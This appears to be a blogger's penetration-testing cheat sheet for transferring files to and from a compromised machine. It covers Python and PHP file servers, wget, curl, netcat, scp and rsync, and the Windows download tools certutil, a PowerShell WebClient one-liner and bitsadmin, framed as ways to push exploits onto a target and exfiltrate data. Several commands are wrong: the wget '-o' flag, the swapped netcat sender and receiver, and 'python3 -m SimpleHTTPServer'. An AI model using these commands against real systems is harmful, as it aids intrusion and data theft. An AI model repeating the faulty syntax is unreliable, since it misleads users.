Often I struggled to transfer files from Host to Attacker and Attacker to Host.Sometimes i forget the commands and techniques that I learned before.So i am making notes of this to refer in future.We can easily downloads files from web server using browser..but what about command line.
File Transfer is a pain, and in most cases,After gaining initial access on the target machine, and with file transfers, we can upload tools and exploits on the target to try and elevate the privileges, exfiltrate sensitive data from the target back to your machine or just move around files to/from the target and you.
Linux(Setting up the server's)
1.Apache
- We can serve files using apache server,but i love using python modules instead of apache server.
- Because first we need to move files into /var/www/html directory,then we need to start Apache server.
service apache2 start
2.Simple Http Server(Using Python)
- It uses port 8000 bydefault,if you want to change,you can specify according to yours.
python -m SimpleHTTPServer [port]
OR
python3 -m SimpleHTTPServer [port]
3.http.server(Using Python3)
- It also uses 8000 port bydefault
python -m http.server [port]
OR
python3 -m http.server [port]
4.PyFTPD(FTPD Using Python Library)
- PyFTPD is a FTP server based on pyftpdlib
- It doesn’t come installed by default, but you can install it with apt : apt-get install python-pyftpdlib
python -m pyftpdlib -p 21
5.PHP
- Php web server runs only one single-threaded process.
php -S localhost:8000
6.TFTP
- Trivial File Transfer Protocol (TFTP) is a simple lockstep File Transfer Protocol which allows a client to get a file from or put a file onto a remote host
service atftpd start
Linux(File Transfer)
1.Wget
- Most of the linux machines has wget pre-installed.
- Wget is a free network utility to retrieve files from the World Wide Web using HTTP and FTP
- The gnu wget command supports username and password combo for both FTP and HTTP file retrieval.
wget http://ip:port/file -o outputfile
wget --user=NAME --password='PASSWORD' ftp://ip/file -o outputfile
wget --user=NAME --password='PASSWORD' http://ip:port/file -o outputfile
2.Curl
- The curl tool lets us fetch a given URL from the command-line. Sometimes we want to save a web file to our own computer.
curl http://ip:port --output file
curl --user username:password -o file ftp://ip/directory/file
3.NetCat
- Netcat is like a swiss army knife for geeks. It can be used for just about anything involving TCP or UDP. One of its most practical uses is to transfer files
* Sender's side
nc -nv [ip] [port] > file
* Receiver's side
nc -lvnp [port] < file
4.SCP
- SCP (secure copy) is a command-line utility that allows you to securely copy files and directories between two locations.
- The scp command relies on ssh for data transfer, so it requires an ssh key or password to authenticate on the remote systems
* Copy a file from local to remote system
scp filename remote_username@ip:/remote/directory
* Copy a file from remote to local system
scp remote_username@ip:/remote/file /local/directory
5.rsync
- rsync is a free software computer program for Unix and Linux like systems which synchronizes files and directories from one location to another while minimizing data transfer using delta encoding when appropriate.
* Local to Remote System
rsync -v -e ssh filetoshare username@ip
* Remote to Local System
rsync -v -e ssh username@ip:~/file localpath
Windows (File Transfer)
1.CertUtil
- Windows has a built-in program called CertUtil, which can be used to manage certificates in Windows. Using this program you can install, backup, delete, manage, and perform various functions related to certificates and certificate stores in Windows.
- One of the features of CertUtil is the ability to download a certificate, or any other file for that matter, from a remote URL and save it as a local file
certutil -urlcache -split -f "http://ip:port/file" [output-file]
2.PowerShell
- Powershell is an advanced version of the standard cmd.exe with scripting capabilities. You can use a Powershell one-liner to download a file from a HTTP server
powershell -c (New-Object Net.WebClient).DownloadFile('http://ip-addr:port/file', 'output-file')
3.BITS
- The Background Intelligent Transfer Service, BITS for short and the built-in bitsadmin.exe command line utility can also be leveraged to download files over HTTP in the following way.
bitsadmin /transfer job /download /priority high http://ip:port/file localpath
Thank You!!!!!!!

Comments
Post a Comment